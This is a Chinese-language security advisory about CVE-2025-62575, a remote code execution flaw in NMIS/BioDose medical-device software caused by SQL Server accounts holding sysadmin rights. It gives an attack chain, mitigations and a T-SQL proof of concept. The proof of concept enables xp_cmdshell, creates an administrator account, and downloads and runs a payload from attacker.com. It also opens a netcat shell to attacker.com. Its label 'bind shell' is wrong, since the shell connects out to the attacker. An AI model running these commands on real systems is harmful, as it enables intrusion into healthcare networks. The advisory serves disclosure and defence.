IPBUF安全漏洞报告
English
CVE-2025-62575 CVSS 8.3 高危

CVE-2025-62575: NMIS/BioDose SQL Server权限配置不当导致远程代码执行漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-62575
漏洞类型
远程代码执行
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NMIS/BioDose

相关标签

远程代码执行SQL Server权限配置错误医疗设备ICS医疗 advisorysysadmin权限滥用xp_cmdshellNMIS BioDoseCVE-2025-62575高危漏洞

漏洞概述

CVE-2025-62575是影响NMIS(Network Management Information System)和BioDose医疗设备管理系统的一个高危安全漏洞。该漏洞存在于V22.02及之前版本中,由于系统依赖的Microsoft SQL Server数据库默认配置存在严重的安全缺陷。具体而言,数据库用户账户'nmdbuser'以及其他由系统创建的SQL账户默认被授予了sysadmin服务器角色权限,这一配置违背了最小权限原则。sysadmin角色拥有SQL Server的最高权限,可以执行包括xp_cmdshell在内的各种内置存储过程,从而为攻击者提供了在操作系统层面执行任意命令的能力。攻击者只需获取系统的低权限访问凭证,即可利用这一配置缺陷提升权限并实现远程代码执行,对医疗设备的机密性、完整性和可用性造成严重威胁。考虑到该漏洞可被远程利用且不需要用户交互,CVSS评分达到8.3分(高危),需要立即采取修复措施。

技术细节

该漏洞的根本原因在于NMIS/BioDose在安装和配置Microsoft SQL Server数据库时,未遵循安全最佳实践为应用程序创建具有最小必要权限的数据库账户。默认创建的'nmdbuser'账户被赋予了sysadmin服务器角色,这使得该账户不仅能够执行所有数据库操作,还能访问SQL Server的系统存储过程,包括能够执行操作系统命令的xp_cmdshell、xp_regwrite等扩展存储过程。攻击者利用此漏洞的典型路径为:首先通过Web界面或其他途径获取系统的低权限访问凭证(如通过暴力破解或默认凭证),然后使用这些凭证连接SQL Server数据库。由于数据库用户具有sysadmin权限,攻击者可以执行以下操作:1)启用xp_cmdshell(如果已被禁用);2)利用xp_cmdshell执行操作系统命令,如添加用户、下载恶意软件、建立反向Shell等;3)利用xp_regwrite修改注册表以实现持久化;4)利用其他系统存储过程进行横向移动或权限提升。整个攻击过程不需要复杂的漏洞利用技术,仅需利用错误配置即可实现远程代码执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过端口扫描或社会工程学手段识别运行NMIS/BioDose系统的目标服务器,并收集可能的低权限访问凭证(如默认密码、弱口令或通过钓鱼获取的凭证)
STEP 2
步骤2: 初始访问
攻击者使用收集到的低权限凭证通过Web界面、VPN或其他服务访问系统,获取对NMIS/BioDose应用程序的基本访问权限
STEP 3
步骤3: 数据库连接
攻击者利用应用程序功能或直接通过SQL Server客户端工具(如sqlcmd、PowerShell脚本)使用获得的账户连接到底层Microsoft SQL Server数据库
STEP 4
步骤4: 权限验证
连接成功后,攻击者验证当前账户是否具有sysadmin服务器角色权限,由于默认配置问题,nmdbuser等账户通常拥有此最高权限
STEP 5
步骤5: 启用系统存储过程
如果xp_cmdshell等扩展存储过程被禁用,攻击者利用sysadmin权限执行sp_configure命令启用这些功能
STEP 6
步骤6: 远程代码执行
攻击者通过xp_cmdshell执行操作系统命令,创建新用户并将其添加到管理员组,或下载并执行恶意软件、建立持久化后门
STEP 7
步骤7: 持久化和横向移动
成功执行代码后,攻击者可利用修改注册表、创建计划任务等方式实现持久化,并可尝试横向移动到同一网络中的其他关键系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
-- CVE-2025-62575 PoC - SQL Server Privilege Escalation to RCE via sysadmin role -- Target: NMIS/BioDose V22.02 and prior versions -- Author: Security Research (For authorized testing only) -- Step 1: Connect to SQL Server with low-privilege account (nmdbuser or created accounts) -- Example connection string for sqlcmd: -- sqlcmd -S <target_server> -U <username> -P <password> -d <database> -- Step 2: Check current user privileges (should show sysadmin role) SELECT IS_SRVROLEMEMBER('sysadmin'); -- Expected result: 1 (indicating user has sysadmin privileges) -- Step 3: Enable xp_cmdshell if disabled (requires sysadmin) EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- Step 4: Execute OS commands via xp_cmdshell -- Example: Create a reverse shell user EXEC xp_cmdshell 'net user attacker P@ssw0rd123 /add'; EXEC xp_cmdshell 'net localgroup Administrators attacker /add'; -- Alternative: Download and execute payload EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\temp\payload.exe"'; EXEC xp_cmdshell 'C:\temp\payload.exe'; -- Alternative: Bind shell using netcat EXEC xp_cmdshell 'nc.exe -e cmd.exe attacker.com 4444'; -- Step 5: Verify command execution EXEC xp_cmdshell 'whoami'; -- Expected output: nt authority\system (indicates highest privileges) -- Remediation: -- 1. Revoke sysadmin role from nmdbuser and application accounts -- 2. Create a new login with only necessary database privileges -- 3. Disable xp_cmdshell and other potentially dangerous extended stored procedures

影响范围

NMIS/BioDose < V22.02
NMIS/BioDose = V22.02

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)立即检查SQL Server中nmdbuser及其他应用程序账户的权限配置,撤销不必要的sysadmin权限;2)通过执行REVOKE SERVER ROLE成员资格语句将相关账户从sysadmin角色中移除;3)禁用xp_cmdshell并删除其他不必要的扩展存储过程;4)在网络层实施访问控制,限制对SQL Server端口的直接访问;5)启用详细的审计日志,监控所有数据库操作特别是系统存储过程的调用;6)检查是否存在异常的管理员账户或计划任务;7)考虑在DMZ区域部署应用与数据库服务器的隔离层;8)加强用户凭证管理,避免使用默认或弱密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表